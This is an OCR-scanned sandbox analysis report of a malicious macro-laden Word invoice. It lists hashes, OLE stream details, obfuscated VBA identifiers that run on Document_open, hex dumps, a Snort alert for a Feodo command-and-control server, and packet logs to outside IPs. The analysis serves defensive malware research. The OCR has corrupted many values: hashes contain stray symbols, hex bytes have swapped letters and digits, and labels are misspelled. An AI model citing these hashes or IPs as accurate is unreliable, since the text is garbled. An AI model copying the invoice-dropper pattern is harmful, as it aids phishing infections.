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https://www.metadefender.com/#!/results/file/bzIxMDEyNE5ZTjhvYVNtZ2ZBc3NDY2dHVDk/regular/analysis

General

TrID: e Microsoft Word document (32009/1) 79.99%
e Generic OLE2 / Multistream Compound File
(8008/1) 20.01%

File name: Invoice 6682363.doc

File size: 112640

MDS5: 2f788f4b380f7a0976e1992ef800d38e

SHAL: b210ad5140fbd4d8alc8d36cc253f3dbe874d248

SHA256: 71952c503a38dbbefa7069548e7466de0fef1f5d95d5ead
e8abcdf5fb62037¢c7

SHA512: 92d7338e26c11edf33f06462893d1c5e67051740bb9625¢

0945ec8a52d60c9f77199b266086d0ac5611626d4b671d
eee068a0cdbOec0e7d31d4172cbb421c305

SSDEEP: 3072:4WT40XnvwWQXiZj7hZjNGXoYbdYPeFmfG5/+vGu
Pt4koz9:4wT40xnvwQXiZj7hZjN

File Content Preview:

File Icon

Icon Hash: edeea2aaadbdbdad

Static OLE Info

General
Document Type: OLE
Number of OLE Files: 1

OLE File "Invoice 6682363.doc"

Indicators

Has Summary Info: True

Application Name: Microsoft Office Word
Encrypted Document: False

Contains Word Document Stream: True

Contains Workbook/Book Stream: False

Contains PowerPoint Document Stream: False

Contains Visio Document Stream: False

Contains ObjectPool Stream:

Flash Objects Count:

Contains VBA Macros: True

Summary

Code Page: 1252

Title:

Subject: Human Awesome interface XSS Electronics, Kids & Garden Frozen Incredible Metal Chips

application hacking Baby & Health Rwanda

Author: Mara del Carmen Yanes
Keywords:

Comments:

Template: Normal.dotm

Last Saved By:

Revion Number: 1

Total Edit Time: 0

Create Time: 2021-01-22 14:50:00
Last Saved Time: 2021-01-22 14:51:00
Number of Pages: 1

Number of Words: 4182

Number of Characters: 23843

Creating Application: Microsoft Office Word
Security: 8

Document Summary
Document Code Page: -535
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Document Summary

Number of Lines: 198
Number of Paragraphs: 55
Thumbnail Scaling Desired: False
Company:

Contains Dirty Links: False
Shared Document: False
Changed Hyperlinks: False
Application Version: 917504

Streams with VBA

VBA File Name: Dzbky2bhynftefpvl, Stream Size: 25262

General

Stream Path: Macros/VBA/Dzbky2bhynftefpvl

VBA File Name: Dzbky2bhynftefpvl

Stream Size: 25262

Data ASCII: e to...H. e
................ X o . ME L

Data Raw: 01 16 01 00 00 fO 00 00 00 6¢ 10 00 00 d4 00 00 00 b8 01 00 00 ff ff ff ff 74 10 00 00 e0 48 00

00 00 00 00 00 01 00 00 00 9c 2a be ce 00 00 ff ff 03 00 00 00 00 00 00 00 b6 00 ff ff 01 01 00
00 00 00 ff ff f ff 00 00 00 00 ff ff f ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code Keywords

Keyword
DhVRySE.Range
RoPSEMmMzG
fdjivHRD.Range
wzdZJFli,
TXzbj
XaRNG(tGRMtgq)
Until
MidB$(isMBH,
bFIDwDm:
DgMnCBDJC
cCIXDyJ
MidB$(tzDdGYHVP,
uJzgAz()
ZVAIbJxD,
NNtEIBCv
JVmligdBJ
ITewEFGbL.Range
RMZFAVu
LdHNIKpI
dTiSBBB.Range
bzsFyDG,
UBound(LaoPHA)
Juudil:
qpsDtN
kHiAvd
UBound(hgSoEQ)
LJBzcH
ZVAIbIXD
(YUIuGGInE
COZsFHB
UBound(isMBH)
fizpnl()
ITewEFGbL
PSMHok:
(yIAPBKrHA
VvAzqB
pdTSF
UBound(jhkEJFIDE)
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Keyword
eCGxBEJ
(IXguEss
gzcTJ
MidB$(gQAMHaj,
njcnja

(BnawF
MGanJwJSg:
UBound(gQAMHaj)
EgwbDAAMA,
nYDTFUG
pigMDFuH
INDoGIGz
MTXNn
MidB$(NNtEIBCv,
LaoPHA()
uJzgAz(QMwyBX)
isMBH
JhKEJFIDE()
PVdOBJJE
bFIDwDm
vpDIL

dfOVA
MidB$(LaoPHA,
yUIUGGInE,
wGteyQUal,
VvAzqB.Range
(anOaCBle
AaQQV
XzSeEAFsA
LgLYKED
pTuzGbilr
tGRMtgq,
btvfDuAu
ewnFVG:
emwzsWDDJ
tzDdGYHVP()
MidB$(gmsuF,
XaRNG()
vGodyitkJ
AiTaGk.Range
gUDIIfDH
DhVRYSE
PSMHok
SSxoD:
bxCIIA

OuRjB:
YRpdIBCH
pzvoBsDr
VNEQNBC
AuBpbDm
iRBWp
IXguEss,
JhDay()
BMASF
(BQzKAH
pdTSF,
eeuTEgoJ,
ujWOMv
XXnXHE
LITedXxDN
tajGGeFu
uxXmms
BnawF,

YVBLBDJtF(ZVAIbJxD)
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Keyword

IESsF:

BQzKAH,
gUDIIfDH()
dTiSBBB
gfatBGa
bgEXFIjIC,
NAhjM
YVBLBDJtF()
(UhsCFBy
jHValdnk
WrlKBrCWE
(qQlyfE

wjnsc

jpuBH
MidB$(RtciCzEBD,
nnjasd,

Resume

Juudil

(bzsFyDG
XaRNG
LaoPHA(jpuBH)
SSxoD
(ZumgAAC
gYRQD]
nuAKCBO
(wGteyQUal
UBound(YVBLBDJtF)
MIivJ
(WrIKBrCWE
WOAQAD,
YghxKjHb
UhsCFBy
JhDay(anOaCBle)
NrzAF

ITASM,
njZbpwGHw
(EgwbDAAMA
SsPcFE
QMwyBX
(pdTSF

rwWYnXj

UYRRJH
RTXqiFG
UBound(QSDOXxFI)
xrWOHGeb
NYIIGJ,
dekmoFJGH
RtciCzEBD()
MliVJ.Range
VEiIXHBKIG
(tGRMtgq
UBound(uJzgAz)
fcfSGGp
UhsCFBy,
(huvrCol
uzpgINU

kKfcl
gQAMHaj(pdTSF)
aeFNF
UBound(JBZCChjlw)
IdpgDBA
KjkIDPEKQ
iCDwruADb
xFPzmB
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Keyword
tajGGeFu:
gUDIIfDH(QuIsHFBcy)
UBound(RtciCzEBD)
hIANNGS
WOAQAD
MidB$(JhDay,
anOaCBle,
VrBollAwi
ibkdrF,
fcfSGGp:
(RpobChJB
UBound(JhDay)
LKTYIJEYO,
liXDIfvi
(VaCcJDSk
iXKGHEEJ
VcJzUHyrE
XbCoJBP
fdjvHRD
CxXNZFE
auajFJou:
HptBIdJ
IcslhAFkB
ZHOQAQI
(NYIIGJ
VB_Name
(nYDTFUG
FXReESFIH
SKUHDIK
QMwyBX,
(WILSEDhA
AiTaGk
(WOAQAD
RxJLIDb
kfIFjv()
(LKTYIJEyO
apFdl
RpobCbhJB
UBound(XaRNG)
ZXMgF
eCGxBEJ,
ROrYvdGH
wzdZJFli
Mid(Application.Name,
VUNGG
(eCGxBEJ
znpAeDO,
FXReESFIH.Range
iAMol
QioeCOG,
EtogHD
EtogHD,
nYDTFUG,
jnNFUECDE
GMyaLFFhs
(wzdZJFli
UBound(apFdl)
KjkIDPEKQ:
MidB$(kfIFjv,
(GMyaLFFhs
(ZVAIbIXD
fizpnl
(QuiIsHFBcy
hgqSoEQ
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Keyword
NAhjM.Range
tzDdGYHVP
CCHll,

cUSZYD:
MGanJwJSg
VaCcJDSk,
UBound(fizpnl)
ZHOgAQI:
JPBPCEBB
RtciCzEBD(njZbpwGHw)
MidB$(gUDIIfDH,
qpsDtN.Range
JOFjV(MTXNn)
ITAsM

WVYBLF

aQlyfE,
FQZZSvD
pfUGMEJBQ:
JhKEJFIDE(QQIyfE)
"sadsaccc"
"sasdsacc"
huvrCol,

FaOCk

CCAll

ujWOMv:
MidB$(uJzgAz,
auajFJOu
fizpnl(QioeCOG)
NUAKIOJk
UBound(gmsuF)
JhKEJFIDE
zDkypYko
EgwbDAAMA
QuisHFBcy
fqiBQ
NNEIBCV()
ibkdrF

vdINM
JBZCChjIW(IXguEss)
isSMBH(EgwbDAAMA)
gqaHQJm.Range
YVBLBDJtF
gfatBGa()
apFdI(WILSEDhA)
znpAeDO

(ibkdrF

bzsFyDG
MidB$(JBZCChjlw,
bgEXFIjIC
cCdSDnEh
IcsIhAFkB.Range
JhDay

(xFPzmB
QuisHFBcy,
iSMBH()

jpuBH,
Word.Paragraph
eeuTEgoJ

HIwjJB

ycphDEI
gfatBGa(CCfll)
gHKdAHg

JOFjV
yghxJBCUA
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Keyword
LvzDFdC
okaWGJIFBC
uJzqAz

Content
QSDOXFI(LKTYIJEyO)
MidB$(apFdl,
ewnFVG
(EtogHD
bkNSBCcwq
(MTXNn
AFCPRFbH
uelLlgFGKF
fOkcHEMj.Range
TpHrjrd
QioeCOG

BnawF
WILSEDhA,
gHKdAHg.Range
9QAMHaj()

(ccfii

wrsrdCte
gmsuF()
UBound(gUDIIfDH)
MidB$(YVBLBDJtF,
kflFjv

IXguEss
(njZbpwGHw
cPAIG
GZVoGPJH
ZumgAAC
JBZCChjlw
OuRjB
HRYCIIAAG
UVVYHXfCT
YIAPBKrHA
HiwjJB.Range
fOkcHEM]
XcSxqS
GMyalLFFhs,
hgSoEQ()
XuOiuyC
bEVEMSRxw
MidB$(XaRNG,
GgHgJT
pfUGMEJBQ
ixKGHEEJ.Range
RpobChJB,
LKTYIJEyO
(QMwyBX
ZRnaEACE
yUIUGGInE
NvKewiBFG:
gmsuF
VYEKEGBgF
CMFrMCGHq
rCDkFB
MidBS$(jOFjV,
(bgEXFIjIC
iBMyFQ
MidB$(jhkEJFIDE,
Len(skuwd))
NNtEIBCv(BnawF)
huvrCol

dixdilc
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Keyword
QSDOXFI
JBZCChjIW()
aeFNF.Range
SeQMEgB.Range
NvKewiBFG
UBound(kflFjv)
UBound(tzDdGYHVP)
QSDOXFI()
tzDAGYHVP(yIAPBKrHA)
BHJIDIHI:
UBound(gfatBGa)
hgqSoEQ(GMyaLFFhs)
gqaHQJIm

MTXNn,
LIdrHtGU
RtciCzEBD
WrlKBrCWE,
cCIXDyJ:

VTgaL

(FaOCk
UYRRJH:
iRBWp.Range
(jpuBH
gmsuF(ZumgAAC)
UzNhk
WILSEDhA
wGteyQUal
(rTAsM
gQAMHaj
cHNoGGAAE
tGRMtgq

FbFjQr

qQIyfE
VaCcJDSk
Mid(skuwd,
BhCuiYW.Range
vGodyitkJ.Range
MidB$(QSDOXFI,
LaoPHA
QSEDCqEF

Error

xFPzmB,

apFdI()

Attribute
cHNoGGAAE:
(eeuTEgoJ

|IESsF

cUSzYD
BhCuiYW
pBZoHbCAa
LLCAuUvVKGX
GEcmx
kflFjv(ibkdrF)
VIONGI

JORV()
MidB$(qfatBGa,
YIAPBKIHA,
Function
ZumgAAC,
eBEaCwBHF
BHJIDIHI
mDbUAA
anOaCBle

Kqvpe
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Keyword
njZbpwGHw,
SeQMEgB
FaOCk,

ubfnA

nnjasd
UBound(jOFjV)
MidB$(fizpnl,
VVBJjn
MidB$(hqSoEQ,
BQzKAH
(znpAeDO
(QioeCOG
NYIGJI
UBound(NNtEIBCv)
skuwd

1JebFpA

VBA Code

VBA File Name: Zqjbz56to35ftjOkf, Stream Size: 704

General
Stream Path:
VBA File Name:
Stream Size:

Data ASCII:

Data Raw:

VBA Code Keywords

Keyword
Attribute
VB_Name

VBA Code

VBA File Name: Zvfrgl3zqkd2gw3, Stream Size: 1114

General
Stream Path:
VBA File Name:
Stream Size:

Data ASCII:

Data Raw:

VBA Code Keywords

Keyword
False

Private
VB_Exposed
Attribute
VB_Creatable

Copyright null 2021

Macros/VBA/Zqjbz56t035ftjOkf
Zqjbz56t035ftjokf
704

01 16 01 00 00 fO 00 00 00 1c 02 00 00 d4 00 00 00 88 01 00 00 ff ff f ff 23 02 00 00 83 02 00
00 00 00 00 00 01 00 00 00 9c 2a 4b 7e 00 00 ff ff 03 00 00 00 00 00 00 00 b6 00 ff ff 01 01
00 00 00 00 ff ff ff ff 00 00 00 00 ff f ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00

Macros/VBA/Zvfrgl3zgkd2gw3
2Zvfrgl3zgkd2gw3
1114

01 16 01 00 00 fO 00 00 00 de 02 00 00 d4 00 00 00 da 01 00 00 ff ff ff ff €5 02 00 00 75 03 00
00 00 00 00 00 01 00 00 00 9c 2a 53 36 00 00 ff ff a3 00 00 00 88 00 00 00 b6 00 ff ff 01 01
00 00 00 00 ff ff ff ff 00 00 00 00 ff f ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00
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Keyword

VB_Name
Document_open()
VB_Predeclaredld
VB_GlobalNameSpace
VB_Base
VB_Customizable

VB_TemplateDerived

VBA Code

Streams

Stream Path: \xX1CompObj, File Type: data, Stream Size: 146

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

\x1CompObj
data

146
4.00187355764
False

........................... F........MSWordDoc.....Word.Document
.8..9.9@..... > :.C.<.5.=.B. .M.i.c.r.o.s.o.f.t. .W.o.r.d. .9.7.

01 00 fe ff 03 0a 00 00 ff ff ff ff 06 09 02 00 00 00 00 00 cO 00 00 00 00 00 00 46 00 00 00 00
0a 00 00 00 4d 53 57 6f 72 64 44 6f 63 00 10 00 00 00 57 6f 72 64 2e 44 6f 63 75 6d 65 6e 74
2e 38 00 f4 39 b2 71 40 00 00 00 14 04 3e 04 3a 04 43 04 3c 04 35 04 3d 04 42 04 20 00 4d
00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 20 00 57 00 6f 00 72 00 64 00 20 00 39 00
37 00 2d 00

Stream Path: \x5DocumentSummarylnformation, File Type: data, Stream Size: 4096

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: \x5Summarylinformation, File Type: data, Stream Size: 548

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: 1Table, File Type: data, Stream Size: 6873

General
Stream Path:

File Type:

Copyright null 2021

\x5DocumentSummarylnformation

data

4096

0.280929556603

False

........................................ +,..0........choooooipa
T
................................ T BmLo

fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5
cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 f4 00 00 00 Oc 00 00 00 01 00 00 00
68 00 00 00 Of 00 00 00 70 00 00 00 05 00 00 00 7c 00 00 00 06 00 00 00 84 00 00 00 11 00
00 00 8¢ 00 00 00 17 00 00 00 94 00 00 00 Ob 00 00 00 9¢ 00 00 00 10 00 00 00 a4 00 00 00
13 00 00 00 ac 00 00 00

\x5SummaryInformation

data

548

4.20427806356

False

................................. Oh. ... .+ . 0.

| I L
....... S

fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 €0 85 9f
f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 f4 01 00 00 11 00 00 00 01 00 00 00 90 00
00 00 02 00 00 00 98 00 00 00 03 00 00 00 6¢ 01 00 00 04 00 00 00 4¢ 01 00 00 05 00 00 00
a4 00 00 00 06 00 00 00 b0 00 00 00 07 00 00 00 bc 00 00 00 08 00 00 00 d0 00 00 00 09 00
00 00 dc 00 00 00

1Table

data
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General

Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

6873
6.02016516672

True

.6...6...6...6...6...6...6...6...6...6...

6a 04 11 00 12 00 01 00 Ob 01 Of 00 07 00 03 00 03 00 03 00 00 00 04 00 08 00 00 00 98 00
00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00
9e 00 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06
00 00 36 06 00 00 36 06 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00
76 02 00 00 76 02 00 00

Stream Path: Macros/PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 519

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: Macros/PROJECTwm, File Type: data, Stream Size: 158

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: Macros/VBA/_VBA_PROJECT, File Type: data, Stream Size: 6046

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: Macros/VBAIdir, File Type: data, Stream Size: 686

General
Stream Path:
File Type:

Stream Size:

Copyright null 2021

Macros/PROJECT

ASCII text, with CRLF line terminators
519

5.56343056238

True

ID="{E64A220D-6AE6-4427-9722-B7C1D989E16D}"..Docume
nt=Zvfrgl3zqkd2gw3/&HO00000000..Module=Zqjbz56t035ftjok
f..Module=Dzbky2bhynftefpvl.. ExeName32="Px9_v5tfOrbxtl
m"..Name="DD"..HelpContextID="0"..VersionCompatible32=
"393222000"..CMG="4042961C9A1C9A1C9A1CI9A"..

49 44 3d 22 7b 45 36 34 41 32 32 30 44 2d 36 41 45 36 2d 34 34 32 37 2d 39 37 32 32 2d 42
37 43 31 44 39 38 39 45 31 36 44 7d 22 0d Oa 44 6f 63 75 6d 65 6e 74 3d 5a 76 66 72 67 6¢
33 7a 71 6b 64 3267 77 33 2f 26 48 30 30 30 30 30 30 30 30 0d Oa 4d 6f 64 75 6¢ 65 3d 5a
71 6a 62 7a 35 36 74 6f 33 35 66 74 6a 30 6b 66 0d Oa 4d 6f 64 75 6¢ 65 3d 44 7a 62 6b 79
32 62 68 79 6e 66 74 65

Macros/PROJECTwm
data

158

3.76465675003

False
Zvfrgl3zqkd2gw3.Z.v.f.r.g.1.3.z.9q.k.d.2.g.w.3...Zqjbz56t035
ftjokf.Z2.q.j.b.z.5.6.t.0.3.5.f.t.j.0.k.f...Dzbky2bhynftefpvl.D.

z.b.k.y.2.b.h.y.n.f.t.e.f.p.v.l.....

5a 76 66 72 67 6¢ 33 7a 71 6b 64 32 67 77 33 00 5a 00 76 00 66 00 72 00 67 00 6¢ 00 33 00
7a 00 71 00 6b 00 64 00 32 00 67 00 77 00 33 00 00 00 5a 71 6a 62 7a 35 36 74 6f 33 35 66
74 6a 30 6b 66 00 5a 00 71 00 6a 00 62 00 7a 00 35 00 36 00 74 00 6f 00 33 00 35 00 66 00
74 00 6a 00 30 00 6b 00 66 00 00 00 44 7a 62 6b 79 32 62 68 79 6e 66 74 65 66 70 76 6¢ 00
4400 7a 00 62 00 6b 00

Macros/VBA/_VBA_PROJECT
data

6046

5.67854244181

False

B *\.G.{.0.0.0.2.0.4.E.F.-.0.0.0
0.-.0.0.0.0.-.C.0.0.0.-.0.0.0.0.0.0.0.0.0.0.4.6.}.#.4...1.#.9
#.C...\.P.R.0O.G.R.A.~.2.\.C.O.M.M.O.N.~.1.\.M.I.C.R.O.S
~.1.\.V.B.A.\.V.B.A.7.\.V.B.E.7...D.L.L.#.V.i.s.u.a.l. .B.a.s

i.c. L F.

cc 61 97 00 00 01 00 ff 09 04 00 00 09 04 00 00 e4 04 01 00 00 00 00 00 00 00 00 00 01 00
05 00 02 00 fa 00 2a 00 5¢ 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00
2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00
2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00
34 00 2e 00 31 00 23 00

Macros/VBA/dir
data

686
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General

Entropy: 6.40618838078
Base64 Encoded: True
Data ASCIL: 0*..... p..H.."..d..... D2.2.4.@..... Z=....b.... ... ... E
% .J<..... rst dole>.2s..t.d.o.l..e...h.%"...*\G{0002°0430-.
L.Cll 0046}.#2.0#0#C.:\Window.s\SysWOW.64\.e2.tl.b#
OLE Au.tomation.. ....Norma.l.EN.Cr.m..a.F.. ..... X*\C....f.
m....!O0ffic
Data Raw: 01 aa b2 80 01 00 04 00 00 00 01 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 22 02 00 64 e4

04 04 02 1c 44 32 a2 32 00 34 00 00 40 02 14 06 02 14 5a 3d 02 Oa 07 02 62 01 14 08 06 12
09 01 02 12 89 c4 fa 61 06 00 Oc 25 02 4a 3c 02 Oa 16 00 01 72 73 74 20 64 6f 6¢ 65 3e 02 32
7300 00 74 00 64 00 6f 00 6¢ 00 a0 65 00 0d 00 68 00 25 5e 00 03 00 2a 5¢ 47 7b 30 30 30
32603034 33302d

Stream Path: WordDocument, File Type: data, Stream Size: 56270

General

Stream Path: WordDocument

File Type: data

Stream Size: 56270

Entropy: 6.31483892827

Base64 Encoded: True

Data ASCII: PN yu....bjbj..oo b...b
Data Raw: ec a5 c1 00 5f c0 09 04 00 00 fO 12 bf 00 00 00 00 00 00 10 00 00 00 00 00 08 00 00 79 75 00

00 Oe 00 62 6a 62 6a 00 15 00 15 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 19
04 16 00 ce db 00 00 62 7f 00 00 62 7f 00 00 79 6d 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff Of 00 00 00 00 00 00 00 00 00 ff ff Of

00 00 00 00 00

Stream Path: word, File Type: data, Stream Size: 456

General

Stream Path: word

File Type: data

Stream Size: 456

Entropy: 7.44082393998

Base64 Encoded: False

Data ASCII: Br.o..... | S d...:s. T..{+..=..."Ti...(s]..=T.)......... =/~
AN I e........ X...1mO.'cp...V..... VI #jUL k4l &t Y
.. ...1.",.]....>h.i..G.E$.j@... ...69.1....WF.s6.[...L..
..s~0...E.=,zX/.Qe3M5J$01...... o..,r...r.).".F..,....E

Data Raw: de 427216 Oc c7 aa aa a2 74 2a c0 95 1f db 1a f1 64 c4 8d e0 3a 73 e8 54 cf {7 7b 2b d0 b7

3d a0 a7 82 60 54 69 1b af a8 28 73 5d 1d 8c 3d 54 al 29 f9 1d d7 ec Oe a4 cf 89 c2 3d cf 2f
7e d2 bd ec 1f ee 9¢c 7a c5 88 49 15 e5 b8 c7 15 cb ¢7 91 a3 d9 02 d7 99 65 b4 99 de 91 cb
a6 dd e0 78 a9 a0 a0 31 6d 4f b7 27 63 70 d4 c2 06 56 dc ba be fb ac 2c 56 7c fb 23 86 6a 55
bd e9 fa el 6b

Network Behavior

Snort IDS Alerts

Source Dest
Timestamp Protocol SID Message Port Port Source IP Dest IP
01/25/21- TCP 2404322 ET CNC Feodo Tracker Reported CnC Server TCP group 12 49169 80 192.168.2.22 190.55.186.229

08:22:42.711148

Network Port Distribution

Total Packets: 36

® 53 (DNS)
@ 80 (HTTP)
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TCP Packets

Timestamp Source Port Dest Port Source IP Dest IP

Jan 25, 2021 08:21:33.357295036 CET 49167 80 192.168.2.22 93.119.104.27
Jan 25, 2021 08:21:33.396234989 CET 80 49167 93.119.104.27 192.168.2.22
Jan 25, 2021 08:21:33.396323919 CET 49167 80 192.168.2.22 93.119.104.27
Jan 25, 2021 08:21:33.398618937 CET 49167 80 192.168.2.22 93.119.104.27
Jan 25, 2021 08:21:33.437366962 CET 80 49167 93.119.104.27 192.168.2.22
Jan 25, 2021 08:21:34.046334028 CET 80 49167 93.119.104.27 192.168.2.22
Jan 25, 2021 08:21:34.048356056 CET 80 49167 93.119.104.27 192.168.2.22
Jan 25, 2021 08:21:34.048391104 CET 80 49167 93.119.104.27 192.168.2.22
Jan 25, 2021 08:21:34.048460960 CET 80 49167 93.119.104.27 192.168.2.22
Jan 25, 2021 08:21:34.048485994 CET 49167 80 192.168.2.22 93.119.104.27
Jan 25, 2021 08:21:34.048491955 CET 80 49167 93.119.104.27 192.168.2.22
Jan 25, 2021 08:21:34.048603058 CET 80 49167 93.119.104.27 192.168.2.22
Jan 25, 2021 08:21:34.048640966 CET 49167 80 192.168.2.22 93.119.104.27
Jan 25, 2021 08:21:34.048654079 CET 80 49167 93.119.104.27 192.168.2.22
Jan 25, 2021 08:21:34.048712969 CET 49167 80 192.168.2.22 93.119.104.27
Jan 25, 2021 08:21:34.049160957 CET 80 49167 93.119.104.27 192.168.2.22
Jan 25, 2021 08:21:34.049196959 CET 80 49167 93.119.104.27 192.168.2.22
Jan 25, 2021 08:21:34.049222946 CET 80 49167 93.119.104.27 192.168.2.22
Jan 25, 2021 08:21:34.049263000 CET 49167 80 192.168.2.22 93.119.104.27
Jan 25, 2021 08:21:34.087263107 CET 80 49167 93.119.104.27 192.168.2.22
Jan 25, 2021 08:21:34.087311983 CET 80 49167 93.119.104.27 192.168.2.22
Jan 25, 2021 08:21:34.087349892 CET 80 49167 93.119.104.27 192.168.2.22
Jan 25, 2021 08:21:34.087413073 CET 80 49167 93.119.104.27 192.168.2.22
Jan 25, 2021 08:21:34.087455034 CET 49167 80 192.168.2.22 93.119.104.27
Jan 25, 2021 08:21:34.174315929 CET 49168 80 192.168.2.22 93.119.104.27
Jan 25, 2021 08:21:34.212866068 CET 80 49168 93.119.104.27 192.168.2.22
Jan 25, 2021 08:21:34.213028908 CET 49168 80 192.168.2.22 93.119.104.27
Jan 25, 2021 08:21:34.213253021 CET 49168 80 192.168.2.22 93.119.104.27
Jan 25, 2021 08:21:34.251916885 CET 80 49168 93.119.104.27 192.168.2.22
Jan 25, 2021 08:21:34.271298885 CET 80 49168 93.119.104.27 192.168.2.22
Jan 25, 2021 08:21:34.271328926 CET 80 49168 93.119.104.27 192.168.2.22
Jan 25, 2021 08:21:34.271357059 CET 80 49168 93.119.104.27 192.168.2.22
Jan 25, 2021 08:21:34.271383047 CET 80 49168 93.119.104.27 192.168.2.22
Jan 25, 2021 08:21:34.271406889 CET 80 49168 93.119.104.27 192.168.2.22
Jan 25, 2021 08:21:34.271431923 CET 80 49168 93.119.104.27 192.168.2.22
Jan 25, 2021 08:21:34.271439075 CET 49168 80 192.168.2.22 93.119.104.27
Jan 25, 2021 08:21:34.271452904 CET 80 49168 93.119.104.27 192.168.2.22
Jan 25, 2021 08:21:34.271475077 CET 49168 80 192.168.2.22 93.119.104.27
Jan 25, 2021 08:21:34.271477938 CET 80 49168 93.119.104.27 192.168.2.22
Jan 25, 2021 08:21:34.271481037 CET 49168 80 192.168.2.22 93.119.104.27
Jan 25, 2021 08:21:34.271502972 CET 80 49168 93.119.104.27 192.168.2.22
Jan 25, 2021 08:21:34.271527052 CET 80 49168 93.119.104.27 192.168.2.22
Jan 25, 2021 08:21:34.271559954 CET 49168 80 192.168.2.22 93.119.104.27
Jan 25, 2021 08:21:34.271580935 CET 49168 80 192.168.2.22 93.119.104.27
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Timestamp Source Port Dest Port Source IP Dest IP

Jan 25, 2021 08:21:34.300167084 CET 49167 80 192.168.2.22 93.119.104.27
Jan 25, 2021 08:21:34.310029984 CET 80 49168 93.119.104.27 192.168.2.22
Jan 25, 2021 08:21:34.310056925 CET 80 49168 93.119.104.27 192.168.2.22
Jan 25, 2021 08:21:34.310077906 CET 80 49168 93.119.104.27 192.168.2.22
Jan 25, 2021 08:21:34.310098886 CET 80 49168 93.119.104.27 192.168.2.22
Jan 25, 2021 08:21:34.310117960 CET 80 49168 93.119.104.27 192.168.2.22
Jan 25, 2021 08:21:34.310138941 CET 80 49168 93.119.104.27 192.168.2.22
Jan 25, 2021 08:21:34.310146093 CET 49168 80 192.168.2.22 93.119.104.27
Jan 25, 2021 08:21:34.310188055 CET 49168 80 192.168.2.22 93.119.104.27
Jan 25, 2021 08:21:34.310194969 CET 49168 80 192.168.2.22 93.119.104.27
Jan 25, 2021 08:21:34.310197115 CET 80 49168 93.119.104.27 192.168.2.22
Jan 25, 2021 08:21:34.310220957 CET 80 49168 93.119.104.27 192.168.2.22
Jan 25, 2021 08:21:34.310240984 CET 80 49168 93.119.104.27 192.168.2.22
Jan 25, 2021 08:21:34.310261011 CET 80 49168 93.119.104.27 192.168.2.22
Jan 25, 2021 08:21:34.310282946 CET 80 49168 93.119.104.27 192.168.2.22
Jan 25, 2021 08:21:34.310282946 CET 49168 80 192.168.2.22 93.119.104.27
Jan 25, 2021 08:21:34.310307980 CET 80 49168 93.119.104.27 192.168.2.22
Jan 25, 2021 08:21:34.310334921 CET 80 49168 93.119.104.27 192.168.2.22
Jan 25, 2021 08:21:34.310339928 CET 49168 80 192.168.2.22 93.119.104.27
Jan 25, 2021 08:21:34.310357094 CET 80 49168 93.119.104.27 192.168.2.22
Jan 25, 2021 08:21:34.310364962 CET 49168 80 192.168.2.22 93.119.104.27
Jan 25, 2021 08:21:34.310379028 CET 80 49168 93.119.104.27 192.168.2.22
Jan 25, 2021 08:21:34.310403109 CET 80 49168 93.119.104.27 192.168.2.22
Jan 25, 2021 08:21:34.310420990 CET 49168 80 192.168.2.22 93.119.104.27
Jan 25, 2021 08:21:34.310421944 CET 80 49168 93.119.104.27 192.168.2.22
Jan 25, 2021 08:21:34.310446978 CET 80 49168 93.119.104.27 192.168.2.22
Jan 25, 2021 08:21:34.310466051 CET 80 49168 93.119.104.27 192.168.2.22
Jan 25, 2021 08:21:34.310477018 CET 49168 80 192.168.2.22 93.119.104.27
Jan 25, 2021 08:21:34.310483932 CET 80 49168 93.119.104.27 192.168.2.22
Jan 25, 2021 08:21:34.310514927 CET 49168 80 192.168.2.22 93.119.104.27
Jan 25, 2021 08:21:34.312144995 CET 49168 80 192.168.2.22 93.119.104.27
Jan 25, 2021 08:21:34.312170029 CET 49168 80 192.168.2.22 93.119.104.27
Jan 25, 2021 08:21:34.349468946 CET 80 49168 93.119.104.27 192.168.2.22
Jan 25, 2021 08:21:34.349494934 CET 80 49168 93.119.104.27 192.168.2.22
